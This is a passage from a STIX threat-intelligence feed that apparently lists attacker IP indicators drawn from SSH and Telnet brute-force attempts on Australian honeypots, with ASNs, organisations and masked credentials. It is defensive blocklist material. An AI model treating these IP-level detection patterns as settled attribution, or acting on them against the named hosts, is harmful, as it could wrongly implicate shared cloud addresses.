      "pattern": "[ipv4-addr:value = '197.156.83.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--2f331b64-95bd-441a-84f4-e15b4bb0bdbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.137.79.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): z******u. Passwords observed (masked): z******************n.",
      "id": "indicator--7becb51b-d115-4a0f-bbc5-5c57712e50a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.229.102.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--b56d8d49-27ed-401f-bee6-c480576d1804",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.97.134.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:15:11.000Z",
      "valid_until": "2026-06-15T23:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC. Usernames observed (masked): a******c. Passwords observed (masked): y**********Z.",
      "id": "indicator--d0143a7a-d9b0-4830-8cb7-39ef8d62203f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.238.221.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 521. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t, 3**********4, l***x, p*****i, u**r. Passwords observed (masked): 3***********4, 3**********4, *, 1****6, l******3.",
      "id": "indicator--097f4a50-daf8-4269-9716-f8f1c60b85f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.250.186.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 519. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210022. Organisation(s): Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.. Usernames observed (masked): r**t, 3**********4, l***x, p*****i, u**r. Passwords observed (masked): 3***********4, 3**********4, *, 1****6, l******3.",
      "id": "indicator--b40219b9-e165-46e8-8d20-59713182b687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.158.23.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--4ee04a94-fb28-40c3-9b7f-5df5d7ee07ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.193.20.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--4d795b7f-f88e-42fe-b388-5d9e2ab468eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.52.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--49035a9c-b328-4abf-ba0a-5dc06f6978bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.120.60.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--c304a89a-4567-48d3-bc54-60ec24afed32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.54.176.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--801f557a-c808-4081-88bc-4a20f418fb10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.175.86.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--8566b586-d723-46fa-aad1-55e561cca5a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.191.163.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--09c43b99-ac50-400e-ad2b-f574142e70ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.170.40.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:15:13.000Z",
      "valid_until": "2026-06-16T00:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c8ad7679-3b82-49c8-99c2-e9e72dd08c1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.173.200.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--ba35d8b3-9d82-45f1-b73a-6220faf7ca37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.182.156.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--355b72bf-26be-48c3-a722-5b0c0349ff89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1630eaf1-c13f-4afd-8a40-dc8901685545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.85.18.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--07c8f7f7-4af6-44f8-8928-7043ad3fac81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.123.134.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--a6fb9a6c-b100-4727-8a4f-9dd9af2d2e42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.89.30.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--55c34fe2-4805-44e1-ad8f-b1b721552c79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.67.114.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc..",
      "id": "indicator--b6cc9b33-9f08-43c3-bf36-7f04252e7fdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:15:11.000Z",
      "valid_until": "2026-06-16T01:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 55081. Organisation(s): 24 SHELLS. Usernames observed (masked): r**t, 3**********4, j******a, s******d, a*****e. Passwords observed (masked): 3***********4, 3**********4, 1****6, A*********5, A***********$.",
      "id": "indicator--a549cfc5-fea4-443a-b9c3-8d7078cc1fb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.175.164.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--167f1153-a087-4565-95f8-3aa5ceec5778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.138.40.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45413. Organisation(s): ServeNET Solution Limited Partnership. Usernames observed (masked): r**t, 3**********4, a***n, b***********e, d****s. Passwords observed (masked): 3***********4, 3**********4, l******3, 0********y, 1****6.",
      "id": "indicator--944b4ff8-cd19-461a-8dcb-2a1c1b74d1ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.109.2.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--2a9a4e8a-65b8-46ee-a0d7-4a512d13d0b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.41.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--64318609-3e91-4a02-a981-b14b27fa5825",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.63.166.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 12488. Organisation(s): Krystal Hosting Ltd.",
      "id": "indicator--c59f4a77-ea65-463d-b2f7-8618d9215f04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.116.214.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--12267c48-01ec-4d69-9361-395d7c26ff66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.29.100.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net. Usernames observed (masked): r**t, c**l. Passwords observed (masked): w********2, Y*n@wocloud.szkj.",
      "id": "indicator--c0fad707-fede-4d75-8eab-283ebf298318",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.7.136.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 308. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a***n, b***********e, d****s. Passwords observed (masked): 3***********4, 3**********4, l******3, .******************G, 0********y.",
      "id": "indicator--ad73eda1-8c59-4e92-9b92-e3de27d432b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.128.214.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 9919. Organisation(s): New Century InfoComm Tech Co., Ltd.. Usernames observed (masked): r**t, s******d, 3**********4, a***n, d**o. Passwords observed (masked): 1****6, 1********C, ***, 3***********4, 3**********4.",
      "id": "indicator--add489b0-50c7-45d5-89f3-0fc3cdb7beed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.66.228.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T02:15:25.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T02:15:25.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:15:25.000Z",
      "valid_until": "2026-06-16T02:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, s******d, t**t, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1********C.",
      "id": "indicator--345de068-7f83-4858-b25b-eeaa5a851366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.65.8.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 397. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, e***r, j******a, s******d. Passwords observed (masked): 3***********4, 3**********4, !*******6, *, 1****3.",
      "id": "indicator--f2c08d3a-a03e-47e9-a202-1f48aae5f3b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--1aa1874f-7bb8-4af5-a4aa-9c9b70964bd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
